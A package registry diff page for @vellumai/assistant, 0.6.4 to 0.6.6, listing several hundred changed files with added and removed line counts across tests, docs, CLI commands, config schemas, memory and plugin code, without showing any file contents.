@vellumai/assistant 0.6.4 → 0.6.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.prettierignore +5 -0
- package/AGENTS.md +9 -1
- package/ARCHITECTURE.md +43 -49
- package/Dockerfile +17 -3
- package/README.md +3 -4
- package/__tests__/permissions/gateway-threshold-reader.test.ts +283 -0
- package/bun.lock +8 -3
- package/docs/architecture/integrations.md +33 -59
- package/docs/architecture/memory.md +25 -30
- package/docs/architecture/security.md +19 -18
- package/docs/browser-use-architecture-phase2.md +63 -20
- package/docs/error-handling.md +111 -0
- package/docs/plugins.md +761 -0
- package/docs/skills.md +10 -10
- package/docs/stt-provider-onboarding.md +2 -1
- package/examples/plugins/echo/README.md +132 -0
- package/examples/plugins/echo/package.json +17 -0
- package/examples/plugins/echo/register.ts +187 -0
- package/knip.json +9 -2
- package/node_modules/@vellumai/ces-contracts/package.json +2 -1
- package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +471 -0
- package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +398 -4
- package/node_modules/@vellumai/credential-storage/bun.lock +2 -2
- package/node_modules/@vellumai/credential-storage/package.json +2 -2
- package/node_modules/@vellumai/credential-storage/src/oauth-runtime.ts +20 -2
- package/node_modules/@vellumai/egress-proxy/bun.lock +2 -2
- package/node_modules/@vellumai/egress-proxy/package.json +2 -2
- package/node_modules/@vellumai/egress-proxy/src/types.ts +19 -0
- package/openapi.yaml +334 -78
- package/package.json +6 -3
- package/scripts/generate-openapi.ts +50 -11
- package/src/__tests__/agent-loop-callsite-precedence.test.ts +318 -0
- package/src/__tests__/agent-loop-sentry-hygiene.test.ts +137 -0
- package/src/__tests__/agent-loop.test.ts +112 -1
- package/src/__tests__/anthropic-error-formatting.test.ts +98 -0
- package/src/__tests__/anthropic-provider.test.ts +171 -2
- package/src/__tests__/app-compiler.test.ts +57 -0
- package/src/__tests__/approval-cascade.test.ts +36 -10
- package/src/__tests__/approval-routes-http.test.ts +134 -10
- package/src/__tests__/assistant-attachments.test.ts +44 -0
- package/src/__tests__/assistant-feature-flags-integration.test.ts +29 -0
- package/src/__tests__/auto-analysis-end-to-end.test.ts +1 -0
- package/src/__tests__/avatar-generator.test.ts +4 -2
- package/src/__tests__/browser-fill-credential.test.ts +1 -1
- package/src/__tests__/browser-identifier-parity-guard.test.ts +53 -0
- package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +23 -33
- package/src/__tests__/browser-skill-endstate.test.ts +51 -182
- package/src/__tests__/btw-routes.test.ts +47 -1
- package/src/__tests__/bundled-asset.test.ts +6 -6
- package/src/__tests__/call-controller.test.ts +1 -2
- package/src/__tests__/call-site-routing-provider.test.ts +214 -0
- package/src/__tests__/catalog-cache.test.ts +96 -4
- package/src/__tests__/channel-approval-routes.test.ts +4 -4
- package/src/__tests__/channel-reply-delivery.test.ts +300 -2
- package/src/__tests__/checker.test.ts +870 -655
- package/src/__tests__/circuit-breaker-pipeline.test.ts +406 -0
- package/src/__tests__/cli-command-risk-guard.test.ts +30 -33
- package/src/__tests__/compaction-events.test.ts +501 -0
- package/src/__tests__/compaction-pipeline.test.ts +210 -0
- package/src/__tests__/compaction-strip-metadata-clear.test.ts +181 -0
- package/src/__tests__/compaction-timeout-recovery.test.ts +262 -0
- package/src/__tests__/compaction.benchmark.test.ts +1 -1
- package/src/__tests__/config-analysis.test.ts +11 -28
- package/src/__tests__/config-loader-backfill.test.ts +174 -0
- package/src/__tests__/config-loader-corrupt.test.ts +183 -0
- package/src/__tests__/config-loader-quarantine-bulletin.test.ts +202 -0
- package/src/__tests__/config-model-image-provider.test.ts +110 -0
- package/src/__tests__/config-schema-cmd.test.ts +11 -5
- package/src/__tests__/config-schema.test.ts +440 -114
- package/src/__tests__/config-watcher-cleanup-throttle.test.ts +0 -4
- package/src/__tests__/config-watcher.test.ts +2 -2
- package/src/__tests__/contact-store-user-file.test.ts +72 -73
- package/src/__tests__/contacts-tools.test.ts +26 -0
- package/src/__tests__/contacts-write.test.ts +4 -4
- package/src/__tests__/context-overflow-policy.test.ts +7 -7
- package/src/__tests__/context-token-estimator.test.ts +191 -1
- package/src/__tests__/context-window-manager.test.ts +883 -4
- package/src/__tests__/conversation-abort-tool-results.test.ts +32 -15
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +86 -46
- package/src/__tests__/conversation-agent-loop.test.ts +435 -216
- package/src/__tests__/conversation-attachments.test.ts +1 -1
- package/src/__tests__/conversation-confirmation-signals.test.ts +36 -10
- package/src/__tests__/conversation-error.test.ts +37 -6
- package/src/__tests__/conversation-history-web-search.test.ts +7 -0
- package/src/__tests__/conversation-init.benchmark.test.ts +34 -12
- package/src/__tests__/conversation-lifecycle.test.ts +336 -0
- package/src/__tests__/conversation-load-history-repair.test.ts +27 -10
- package/src/__tests__/conversation-pairing.test.ts +174 -10
- package/src/__tests__/conversation-pre-run-repair.test.ts +32 -15
- package/src/__tests__/conversation-process-callsite.test.ts +309 -0
- package/src/__tests__/conversation-provider-retry-repair.test.ts +44 -21
- package/src/__tests__/conversation-queue.test.ts +68 -38
- package/src/__tests__/conversation-routes-disk-view.test.ts +36 -7
- package/src/__tests__/conversation-routes-slash-commands.test.ts +31 -3
- package/src/__tests__/conversation-runtime-assembly.test.ts +2877 -152
- package/src/__tests__/conversation-runtime-workspace.test.ts +35 -50
- package/src/__tests__/conversation-seed-composer.test.ts +2 -2
- package/src/__tests__/conversation-skill-tools.test.ts +12 -146
- package/src/__tests__/conversation-slash-queue.test.ts +39 -19
- package/src/__tests__/conversation-slash-unknown.test.ts +53 -16
- package/src/__tests__/conversation-speed-override.test.ts +36 -12
- package/src/__tests__/conversation-surfaces-standalone-payloads.test.ts +1035 -0
- package/src/__tests__/conversation-surfaces-standalone.test.ts +630 -0
- package/src/__tests__/conversation-title-service.test.ts +118 -2
- package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +41 -2
- package/src/__tests__/conversation-tool-setup-batch-authorized.test.ts +1 -1
- package/src/__tests__/conversation-unread-route.test.ts +2 -2
- package/src/__tests__/conversation-usage.test.ts +4 -2
- package/src/__tests__/conversation-workspace-cache-state.test.ts +33 -9
- package/src/__tests__/conversation-workspace-injection.test.ts +46 -15
- package/src/__tests__/conversation-workspace-tool-tracking.test.ts +46 -15
- package/src/__tests__/credential-broker-browser-fill.test.ts +110 -0
- package/src/__tests__/credential-health-service.test.ts +78 -9
- package/src/__tests__/credential-security-invariants.test.ts +5 -2
- package/src/__tests__/credential-storage-oauth-compat.test.ts +18 -0
- package/src/__tests__/credential-storage-static-compat.test.ts +28 -0
- package/src/__tests__/credential-vault-unit.test.ts +135 -19
- package/src/__tests__/credentials-cli.test.ts +1 -9
- package/src/__tests__/cross-provider-web-search.test.ts +84 -0
- package/src/__tests__/daemon-server-persist-and-process-callsite.test.ts +92 -0
- package/src/__tests__/db-schedule-syntax-migration.test.ts +1 -0
- package/src/__tests__/delete-propagation.test.ts +437 -0
- package/src/__tests__/dm-backfill.test.ts +417 -0
- package/src/__tests__/dm-persistence.test.ts +227 -0
- package/src/__tests__/edit-propagation.test.ts +280 -0
- package/src/__tests__/empty-response-pipeline.test.ts +305 -0
- package/src/__tests__/ephemeral-permissions.test.ts +93 -3
- package/src/__tests__/estimator-calibration-integration.test.ts +208 -0
- package/src/__tests__/estimator-calibration.test.ts +213 -0
- package/src/__tests__/extension-id-sync-guard.test.ts +29 -10
- package/src/__tests__/file-write-tool.test.ts +151 -1
- package/src/__tests__/filing-service.test.ts +255 -0
- package/src/__tests__/first-greeting.test.ts +247 -5
- package/src/__tests__/gemini-provider.test.ts +0 -3
- package/src/__tests__/guardian-grant-minting.test.ts +8 -0
- package/src/__tests__/headless-browser-interactions.test.ts +1 -1
- package/src/__tests__/headless-browser-mode.test.ts +57 -0
- package/src/__tests__/heartbeat-service.test.ts +96 -15
- package/src/__tests__/history-repair-pipeline.test.ts +399 -0
- package/src/__tests__/host-browser-e2e-cloud.test.ts +307 -0
- package/src/__tests__/host-browser-e2e-self-hosted.test.ts +3 -3
- package/src/__tests__/host-proxy-interface.test.ts +36 -2
- package/src/__tests__/host-shell-tool.test.ts +124 -18
- package/src/__tests__/http-user-message-parity.test.ts +29 -1
- package/src/__tests__/image-credentials.test.ts +137 -0
- package/src/__tests__/image-service-dispatcher.test.ts +186 -0
- package/src/__tests__/inbound-slack-persistence.test.ts +340 -0
- package/src/__tests__/injector-chain.test.ts +526 -0
- package/src/__tests__/intent-routing.test.ts +1 -66
- package/src/__tests__/llm-call-pipeline.test.ts +285 -0
- package/src/__tests__/llm-catalog-parity.test.ts +174 -0
- package/src/__tests__/llm-context-normalization.test.ts +121 -0
- package/src/__tests__/llm-resolver.test.ts +214 -0
- package/src/__tests__/llm-schema.test.ts +223 -0
- package/src/__tests__/managed-proxy-context.test.ts +6 -2
- package/src/__tests__/media-generate-image.test.ts +119 -13
- package/src/__tests__/memory-retrieval-pipeline.test.ts +401 -0
- package/src/__tests__/memory-upsert-concurrency.test.ts +1 -0
- package/src/__tests__/messaging-skill-split.test.ts +3 -34
- package/src/__tests__/migration-import-from-url.test.ts +621 -0
- package/src/__tests__/model-intents.test.ts +11 -83
- package/src/__tests__/notification-broadcaster.test.ts +3 -3
- package/src/__tests__/notification-decision-fallback.test.ts +0 -10
- package/src/__tests__/notification-decision-identity.test.ts +0 -9
- package/src/__tests__/notification-decision-recipient-context.test.ts +0 -9
- package/src/__tests__/notification-decision-strategy.test.ts +0 -11
- package/src/__tests__/notification-schedule-notify-dedup.test.ts +108 -0
- package/src/__tests__/oauth-apps-routes.test.ts +1 -1
- package/src/__tests__/oauth-cli.test.ts +14 -12
- package/src/__tests__/oauth-connect-orchestrator.test.ts +4 -13
- package/src/__tests__/oauth-provider-serializer.test.ts +6 -4
- package/src/__tests__/oauth-provider-visibility.test.ts +3 -5
- package/src/__tests__/oauth-providers-routes.test.ts +3 -2
- package/src/__tests__/oauth-store.test.ts +46 -78
- package/src/__tests__/oauth2-gateway-transport.test.ts +8 -3
- package/src/__tests__/oauth2-refresh-retry.test.ts +279 -0
- package/src/__tests__/onboarding-template-contract.test.ts +16 -64
- package/src/__tests__/openai-image-service.test.ts +368 -0
- package/src/__tests__/openai-provider.test.ts +7 -0
- package/src/__tests__/openai-responses-provider.test.ts +396 -0
- package/src/__tests__/openrouter-provider-only.test.ts +135 -0
- package/src/__tests__/outbound-slack-persistence.test.ts +293 -0
- package/src/__tests__/overflow-reduce-pipeline.test.ts +676 -0
- package/src/__tests__/permission-checker-host-gate.test.ts +1 -25
- package/src/__tests__/permission-mode.test.ts +16 -0
- package/src/__tests__/permission-types.test.ts +0 -1
- package/src/__tests__/persist-onboarding-artifacts.test.ts +266 -0
- package/src/__tests__/persistence-pipeline.test.ts +377 -0
- package/src/__tests__/persona-resolver.test.ts +13 -13
- package/src/__tests__/pipeline-runner.test.ts +565 -0
- package/src/__tests__/pkb-autoinject.test.ts +37 -1
- package/src/__tests__/platform-bash-auto-approve.test.ts +1 -1
- package/src/__tests__/platform.test.ts +5 -2
- package/src/__tests__/plugin-bootstrap.test.ts +483 -0
- package/src/__tests__/plugin-registry.test.ts +273 -0
- package/src/__tests__/plugin-route-contribution.test.ts +288 -0
- package/src/__tests__/plugin-skill-contribution.test.ts +367 -0
- package/src/__tests__/plugin-tool-contribution.test.ts +286 -0
- package/src/__tests__/plugin-types.test.ts +320 -0
- package/src/__tests__/pricing.test.ts +93 -14
- package/src/__tests__/profiler-routes.test.ts +1 -1
- package/src/__tests__/provider-commit-message-generator.test.ts +14 -84
- package/src/__tests__/provider-env-vars-scope.test.ts +52 -0
- package/src/__tests__/provider-error-scenarios.test.ts +135 -6
- package/src/__tests__/provider-managed-proxy-integration.test.ts +42 -11
- package/src/__tests__/provider-registry-ollama.test.ts +1 -2
- package/src/__tests__/proxy-approval-callback.test.ts +69 -9
- package/src/__tests__/reaction-persistence.test.ts +561 -0
- package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +1 -0
- package/src/__tests__/registry.test.ts +0 -2
- package/src/__tests__/relay-server.test.ts +1 -1
- package/src/__tests__/require-fresh-approval.test.ts +1 -1
- package/src/__tests__/retry-openrouter-only-normalization.test.ts +136 -0
- package/src/__tests__/retry-thinking-tool-choice.test.ts +226 -0
- package/src/__tests__/risk-classifier-parity.test.ts +230 -0
- package/src/__tests__/sanitize-config-for-transfer.test.ts +78 -1
- package/src/__tests__/schedule-routes.test.ts +131 -1
- package/src/__tests__/scheduler-recurrence.test.ts +14 -70
- package/src/__tests__/scheduler-reuse-conversation.test.ts +10 -50
- package/src/__tests__/secret-detection-handler.test.ts +0 -10
- package/src/__tests__/secret-ingress-http.test.ts +28 -0
- package/src/__tests__/secret-prompter-channel-fallback.test.ts +125 -0
- package/src/__tests__/secret-routes-managed-proxy.test.ts +2 -3
- package/src/__tests__/secret-scanner-executor.test.ts +1 -1
- package/src/__tests__/send-endpoint-busy.test.ts +29 -1
- package/src/__tests__/server-history-render.test.ts +31 -0
- package/src/__tests__/shell-identity.test.ts +0 -134
- package/src/__tests__/shell-parser-property.test.ts +13 -13
- package/src/__tests__/skill-cache-store.test.ts +182 -0
- package/src/__tests__/skills.test.ts +19 -33
- package/src/__tests__/slack-app-setup-skill-regression.test.ts +3 -1
- package/src/__tests__/slack-skill.test.ts +3 -8
- package/src/__tests__/starter-bundle.test.ts +35 -0
- package/src/__tests__/subagent-call-site-routing.test.ts +280 -0
- package/src/__tests__/suggestion-routes.test.ts +259 -3
- package/src/__tests__/system-prompt.test.ts +22 -35
- package/src/__tests__/task-memory-cleanup.test.ts +1 -0
- package/src/__tests__/task-runner.test.ts +3 -1
- package/src/__tests__/task-scheduler.test.ts +3 -15
- package/src/__tests__/tcc-sandbox-deny.test.ts +198 -0
- package/src/__tests__/terminal-tools.test.ts +8 -0
- package/src/__tests__/test-preload.ts +11 -0
- package/src/__tests__/test-support/browser-skill-harness.ts +2 -52
- package/src/__tests__/thread-backfill.test.ts +941 -0
- package/src/__tests__/title-generate-pipeline.test.ts +224 -0
- package/src/__tests__/token-estimate-pipeline.test.ts +431 -0
- package/src/__tests__/tool-error-pipeline.test.ts +244 -0
- package/src/__tests__/tool-execute-pipeline.test.ts +431 -0
- package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +2 -8
- package/src/__tests__/tool-executor-lifecycle-events.test.ts +2 -2
- package/src/__tests__/tool-executor-shell-integration.test.ts +7 -10
- package/src/__tests__/tool-executor.test.ts +201 -94
- package/src/__tests__/tool-result-truncate-pipeline.test.ts +356 -0
- package/src/__tests__/tool-result-truncation.test.ts +0 -110
- package/src/__tests__/trust-store.test.ts +442 -109
- package/src/__tests__/update-bulletin-job.test.ts +389 -0
- package/src/__tests__/usage-cache-backfill-migration.test.ts +3 -1
- package/src/__tests__/user-plugin-loader.test.ts +191 -0
- package/src/__tests__/verification-control-plane-policy.test.ts +1 -22
- package/src/__tests__/voice-session-bridge.test.ts +39 -0
- package/src/__tests__/volume-security-guard.test.ts +3 -2
- package/src/__tests__/web-search-history.test.ts +337 -0
- package/src/__tests__/workspace-migration-039-drop-legacy-llm-keys.test.ts +343 -0
- package/src/__tests__/workspace-migration-043-release-notes-latex-rendering.test.ts +202 -0
- package/src/__tests__/workspace-migration-045-release-notes-meet-avatar.test.ts +210 -0
- package/src/__tests__/workspace-migration-046-seed-conversation-starters-callsite.test.ts +185 -0
- package/src/__tests__/workspace-migration-049-release-notes-default-sonnet.test.ts +100 -0
- package/src/__tests__/workspace-migration-050-seed-main-agent-opus-callsite.test.ts +171 -0
- package/src/__tests__/workspace-migration-051-seed-conversation-summarization-callsite.test.ts +252 -0
- package/src/__tests__/workspace-migration-drop-user-md.test.ts +11 -11
- package/src/__tests__/workspace-migration-remove-hooks.test.ts +99 -0
- package/src/__tests__/workspace-migration-unify-llm-callsite-configs.test.ts +841 -0
- package/src/__tests__/workspace-policy.test.ts +22 -16
- package/src/acp/client-handler.ts +1 -2
- package/src/agent/loop.ts +545 -115
- package/src/approvals/__tests__/guardian-feed-event.test.ts +304 -0
- package/src/approvals/guardian-request-resolvers.ts +80 -0
- package/src/avatar/resvg-lazy.test.ts +136 -0
- package/src/avatar/resvg-lazy.ts +82 -9
- package/src/avatar/traits-png-sync.ts +21 -1
- package/src/backup/__tests__/backup-worker.test.ts +2 -13
- package/src/backup/backup-worker.ts +3 -15
- package/src/browser/__tests__/operations.test.ts +163 -0
- package/src/browser/identifiers.ts +51 -0
- package/src/browser/operations.ts +660 -0
- package/src/browser/types.ts +81 -0
- package/src/bundler/app-compiler.ts +84 -1
- package/src/calls/call-state.ts +2 -2
- package/src/calls/guardian-question-copy.ts +2 -2
- package/src/calls/telephony-stt-routing.ts +1 -1
- package/src/calls/voice-session-bridge.ts +1 -0
- package/src/channels/__tests__/types.test.ts +3 -3
- package/src/channels/types.ts +6 -4
- package/src/cli/AGENTS.md +1 -1
- package/src/cli/__tests__/notifications.test.ts +87 -211
- package/src/cli/commands/__tests__/attachment.test.ts +438 -0
- package/src/cli/commands/__tests__/backup.test.ts +1 -1
- package/src/cli/commands/__tests__/browser.test.ts +554 -0
- package/src/cli/commands/__tests__/cache.test.ts +623 -0
- package/src/cli/commands/__tests__/email-list.test.ts +6 -0
- package/src/cli/commands/__tests__/email-send.test.ts +93 -1
- package/src/cli/commands/__tests__/image-generation.test.ts +886 -0
- package/src/cli/commands/__tests__/inference-send.test.ts +463 -0
- package/src/cli/commands/__tests__/stt-transcribe.test.ts +454 -0
- package/src/cli/commands/__tests__/task.test.ts +913 -0
- package/src/cli/commands/__tests__/tts-synthesize.test.ts +606 -0
- package/src/cli/commands/__tests__/ui-confirm.test.ts +650 -0
- package/src/cli/commands/__tests__/ui.test.ts +1215 -0
- package/src/cli/commands/__tests__/watchers.test.ts +716 -0
- package/src/cli/commands/attachment.ts +182 -0
- package/src/cli/commands/backup.ts +2 -2
- package/src/cli/commands/browser.ts +350 -0
- package/src/cli/commands/cache.ts +341 -0
- package/src/cli/commands/clients.ts +138 -0
- package/src/cli/commands/completions.ts +2 -12
- package/src/cli/commands/config.ts +6 -6
- package/src/cli/commands/conversations-import.ts +347 -0
- package/src/cli/commands/conversations.ts +69 -8
- package/src/cli/commands/email.ts +234 -194
- package/src/cli/commands/image-generation.ts +299 -0
- package/src/cli/commands/inference.ts +200 -0
- package/src/cli/commands/memory.ts +127 -17
- package/src/cli/commands/notifications.ts +68 -103
- package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -1
- package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -1
- package/src/cli/commands/oauth/connect.ts +2 -2
- package/src/cli/commands/oauth/providers.ts +176 -8
- package/src/cli/commands/oauth/status.ts +46 -36
- package/src/cli/commands/platform/__tests__/callback-routes-list.test.ts +0 -1
- package/src/cli/commands/platform/__tests__/connect.test.ts +0 -1
- package/src/cli/commands/platform/__tests__/disconnect.test.ts +0 -1
- package/src/cli/commands/platform/__tests__/status.test.ts +0 -1
- package/src/cli/commands/skills.ts +3 -4
- package/src/cli/commands/stt.ts +339 -0
- package/src/cli/commands/task.ts +795 -0
- package/src/cli/commands/trust.ts +50 -19
- package/src/cli/commands/tts.ts +273 -0
- package/src/cli/commands/ui.ts +670 -0
- package/src/cli/commands/watchers.ts +509 -0
- package/src/cli/lib/daemon-credential-client.ts +0 -19
- package/src/cli/program.ts +39 -24
- package/src/cli.ts +0 -37
- package/src/config/__tests__/backup-schema.test.ts +7 -2
- package/src/config/bundled-skills/app-builder/SKILL.md +2 -2
- package/src/config/bundled-skills/app-builder/references/WIDGETS.md +10 -10
- package/src/config/bundled-skills/contacts/tools/contact-merge.ts +66 -87
- package/src/config/bundled-skills/contacts/tools/contact-search.ts +28 -51
- package/src/config/bundled-skills/contacts/tools/contact-upsert.ts +22 -40
- package/src/config/bundled-skills/image-studio/SKILL.md +2 -1
- package/src/config/bundled-skills/image-studio/TOOLS.json +2 -1
- package/src/config/bundled-skills/image-studio/tools/media-generate-image.ts +23 -39
- package/src/config/bundled-skills/media-processing/services/reduce.ts +1 -1
- package/src/config/bundled-skills/messaging/SKILL.md +5 -5
- package/src/config/bundled-skills/messaging/TOOLS.json +4 -0
- package/src/config/bundled-skills/messaging/tools/__tests__/messaging-feed-events.test.ts +207 -0
- package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +20 -1
- package/src/config/bundled-skills/messaging/tools/messaging-read.ts +15 -1
- package/src/config/bundled-skills/messaging/tools/messaging-search.ts +21 -1
- package/src/config/bundled-skills/messaging/tools/messaging-send.ts +69 -12
- package/src/config/bundled-skills/phone-calls/references/CONFIG.md +9 -8
- package/src/config/bundled-skills/schedule/SKILL.md +8 -3
- package/src/config/bundled-skills/schedule/TOOLS.json +15 -7
- package/src/config/bundled-skills/schedule/references/SCRIPT_MODE_PATTERNS.md +59 -0
- package/src/config/bundled-skills/settings/TOOLS.json +3 -3
- package/src/config/bundled-tool-registry.ts +0 -190
- package/src/config/env.ts +7 -2
- package/src/config/feature-flag-registry.json +42 -10
- package/src/config/llm-resolver.ts +128 -0
- package/src/config/loader.ts +194 -10
- package/src/config/raw-config-utils.ts +30 -2
- package/src/config/sanitize-for-transfer.ts +35 -0
- package/src/config/schema.ts +49 -41
- package/src/config/schemas/analysis.ts +3 -22
- package/src/config/schemas/backup.ts +1 -1
- package/src/config/schemas/calls.ts +0 -4
- package/src/config/schemas/conversations.ts +16 -0
- package/src/config/schemas/filing.ts +2 -7
- package/src/config/schemas/heartbeat.ts +0 -5
- package/src/config/schemas/inference.ts +3 -23
- package/src/config/schemas/llm.ts +317 -0
- package/src/config/schemas/memory-processing.ts +1 -9
- package/src/config/schemas/notifications.ts +4 -11
- package/src/config/schemas/platform.ts +3 -9
- package/src/config/schemas/security.ts +33 -0
- package/src/config/schemas/services.ts +9 -4
- package/src/config/schemas/stt.ts +1 -0
- package/src/config/schemas/tts.ts +64 -0
- package/src/config/schemas/updates.ts +1 -1
- package/src/config/schemas/workspace-git.ts +3 -40
- package/src/config/skill-state.ts +6 -2
- package/src/config/skills.ts +96 -7
- package/src/context/__tests__/compact-prompt.test.ts +63 -0
- package/src/context/__tests__/microcompact.test.ts +805 -0
- package/src/context/estimator-calibration.ts +136 -0
- package/src/context/microcompact.ts +443 -0
- package/src/context/prompts/compact.md +26 -0
- package/src/context/token-estimator.ts +61 -3
- package/src/context/tool-result-truncation.ts +3 -63
- package/src/context/window-manager.ts +417 -39
- package/src/credential-execution/approval-bridge.ts +0 -1
- package/src/credential-execution/executable-discovery.ts +19 -8
- package/src/credential-execution/process-manager.test.ts +109 -0
- package/src/credential-execution/process-manager.ts +65 -2
- package/src/credential-health/credential-health-service.ts +19 -6
- package/src/daemon/__tests__/conversation-feed-event.test.ts +317 -0
- package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +4 -12
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +14 -15
- package/src/daemon/approval-generators.ts +29 -4
- package/src/daemon/assistant-attachments.ts +24 -13
- package/src/daemon/classifier.ts +2 -2
- package/src/daemon/config-watcher.ts +0 -3
- package/src/daemon/context-overflow-policy.ts +4 -13
- package/src/daemon/context-overflow-reducer.ts +4 -1
- package/src/daemon/conversation-agent-loop-handlers.ts +162 -34
- package/src/daemon/conversation-agent-loop.ts +1282 -599
- package/src/daemon/conversation-attachments.ts +2 -6
- package/src/daemon/conversation-error.ts +36 -1
- package/src/daemon/conversation-history.ts +10 -19
- package/src/daemon/conversation-lifecycle.ts +59 -17
- package/src/daemon/conversation-messaging.ts +73 -4
- package/src/daemon/conversation-notifiers.ts +2 -110
- package/src/daemon/conversation-process.ts +24 -11
- package/src/daemon/conversation-queue-manager.ts +3 -0
- package/src/daemon/conversation-runtime-assembly.ts +1063 -211
- package/src/daemon/conversation-slash.ts +2 -2
- package/src/daemon/conversation-surfaces.ts +389 -1
- package/src/daemon/conversation-tool-setup.ts +51 -9
- package/src/daemon/conversation-usage.ts +1 -1
- package/src/daemon/conversation.ts +197 -64
- package/src/daemon/external-plugins-bootstrap.ts +478 -0
- package/src/daemon/external-skills-bootstrap.ts +41 -0
- package/src/daemon/first-greeting.ts +191 -14
- package/src/daemon/guardian-action-generators.ts +34 -14
- package/src/daemon/handlers/config-model.test.ts +86 -0
- package/src/daemon/handlers/config-model.ts +65 -12
- package/src/daemon/handlers/conversations.ts +9 -2
- package/src/daemon/handlers/shared.ts +39 -11
- package/src/daemon/handlers/skills.ts +7 -3
- package/src/daemon/handlers/slack-channel-oauth-install.ts +197 -0
- package/src/daemon/lifecycle.ts +109 -82
- package/src/daemon/message-types/computer-use.ts +2 -34
- package/src/daemon/message-types/conversations.ts +63 -0
- package/src/daemon/message-types/messages.ts +21 -1
- package/src/daemon/message-types/trust.ts +0 -2
- package/src/daemon/parse-actual-tokens-from-error.test.ts +57 -1
- package/src/daemon/parse-actual-tokens-from-error.ts +66 -0
- package/src/daemon/pkb-context-tracker.test.ts +169 -0
- package/src/daemon/pkb-context-tracker.ts +125 -0
- package/src/daemon/pkb-reminder-builder.test.ts +70 -0
- package/src/daemon/pkb-reminder-builder.ts +31 -0
- package/src/daemon/providers-setup.ts +6 -0
- package/src/daemon/server.ts +122 -12
- package/src/daemon/shutdown-handlers.ts +2 -12
- package/src/daemon/tool-side-effects.ts +14 -65
- package/src/daemon/web-search-history.ts +126 -0
- package/src/events/domain-events.ts +0 -1
- package/src/filing/filing-service.ts +9 -10
- package/src/heartbeat/__tests__/heartbeat-feed-event.test.ts +160 -0
- package/src/heartbeat/heartbeat-service.ts +99 -28
- package/src/home/__tests__/feed-population-integration.test.ts +312 -0
- package/src/home/__tests__/feed-scheduler.test.ts +39 -11
- package/src/home/__tests__/rollup-producer.test.ts +44 -0
- package/src/home/assistant-feed-authoring.ts +4 -0
- package/src/home/emit-feed-event.ts +11 -0
- package/src/home/feed-scheduler.ts +20 -4
- package/src/home/feed-types.ts +97 -4
- package/src/home/relationship-state-writer.ts +2 -2
- package/src/home/rewrite-command-preview.ts +66 -0
- package/src/home/rollup-producer.ts +34 -5
- package/src/home/suggested-prompts.ts +101 -0
- package/src/ipc/__tests__/attachment-ipc.test.ts +213 -0
- package/src/ipc/__tests__/browser-ipc.test.ts +339 -0
- package/src/ipc/__tests__/cache-ipc.test.ts +266 -0
- package/src/ipc/__tests__/socket-path.test.ts +34 -0
- package/src/ipc/__tests__/task-ipc.test.ts +577 -0
- package/src/ipc/__tests__/ui-request-route.test.ts +495 -0
- package/src/ipc/__tests__/watcher-ipc.test.ts +295 -0
- package/src/ipc/cli-client.ts +2 -1
- package/src/ipc/cli-server.ts +26 -8
- package/src/ipc/gateway-client.ts +6 -3
- package/src/ipc/routes/attachment.ts +114 -0
- package/src/ipc/routes/browser-context.ts +63 -0
- package/src/ipc/routes/browser.ts +97 -0
- package/src/ipc/routes/cache.ts +96 -0
- package/src/ipc/routes/get-contact.ts +16 -0
- package/src/ipc/routes/index.ts +31 -1
- package/src/ipc/routes/list-clients.ts +31 -0
- package/src/ipc/routes/merge-contacts.ts +17 -0
- package/src/ipc/routes/notification.ts +133 -0
- package/src/ipc/routes/rename-conversation.ts +59 -0
- package/src/ipc/routes/search-contacts.ts +19 -0
- package/src/ipc/routes/task-queue.ts +226 -0
- package/src/ipc/routes/task.ts +173 -0
- package/src/ipc/routes/ui-request.ts +50 -0
- package/src/ipc/routes/upsert-contact.ts +25 -0
- package/src/ipc/routes/watcher.ts +203 -0
- package/src/ipc/socket-path.ts +76 -0
- package/src/media/app-icon-generator.ts +23 -46
- package/src/media/avatar-router.ts +26 -41
- package/src/media/gemini-image-service.ts +8 -41
- package/src/media/image-credentials.ts +73 -0
- package/src/media/image-service.ts +85 -0
- package/src/media/openai-image-service.ts +131 -0
- package/src/media/types.ts +46 -0
- package/src/memory/__tests__/conversation-analyze-job.test.ts +9 -8
- package/src/memory/__tests__/conversation-group-migration.test.ts +99 -0
- package/src/memory/admin.ts +18 -0
- package/src/memory/conversation-analyze-job.ts +14 -13
- package/src/memory/conversation-attention-store.ts +13 -6
- package/src/memory/conversation-crud.ts +133 -3
- package/src/memory/conversation-group-migration.ts +38 -6
- package/src/memory/conversation-queries.ts +57 -4
- package/src/memory/conversation-title-service.ts +32 -4
- package/src/memory/db-init.ts +10 -0
- package/src/memory/embedding-backend.ts +1 -1
- package/src/memory/embedding-gemini.test.ts +41 -2
- package/src/memory/embedding-gemini.ts +6 -1
- package/src/memory/graph/bootstrap.test.ts +282 -0
- package/src/memory/graph/bootstrap.ts +8 -5
- package/src/memory/graph/compaction.ts +299 -0
- package/src/memory/graph/consolidation.ts +4 -4
- package/src/memory/graph/conversation-graph-memory.ts +89 -29
- package/src/memory/graph/extraction.test.ts +272 -2
- package/src/memory/graph/extraction.ts +183 -53
- package/src/memory/graph/graph-search.test.ts +93 -0
- package/src/memory/graph/graph-search.ts +4 -1
- package/src/memory/graph/inspect.ts +2 -2
- package/src/memory/graph/narrative.ts +2 -2
- package/src/memory/graph/pattern-scan.ts +2 -2
- package/src/memory/graph/retriever.test.ts +459 -0
- package/src/memory/graph/retriever.ts +237 -48
- package/src/memory/graph/store.ts +41 -0
- package/src/memory/graph/tool-handlers.ts +27 -0
- package/src/memory/graph/tools.ts +6 -1
- package/src/memory/indexer.ts +5 -5
- package/src/memory/job-handlers/conversation-starters.ts +23 -20
- package/src/memory/job-handlers/summarization.ts +2 -2
- package/src/memory/job-utils.ts +7 -1
- package/src/memory/jobs/embed-pkb-file.test.ts +168 -0
- package/src/memory/jobs/embed-pkb-file.ts +54 -0
- package/src/memory/jobs-store.ts +44 -3
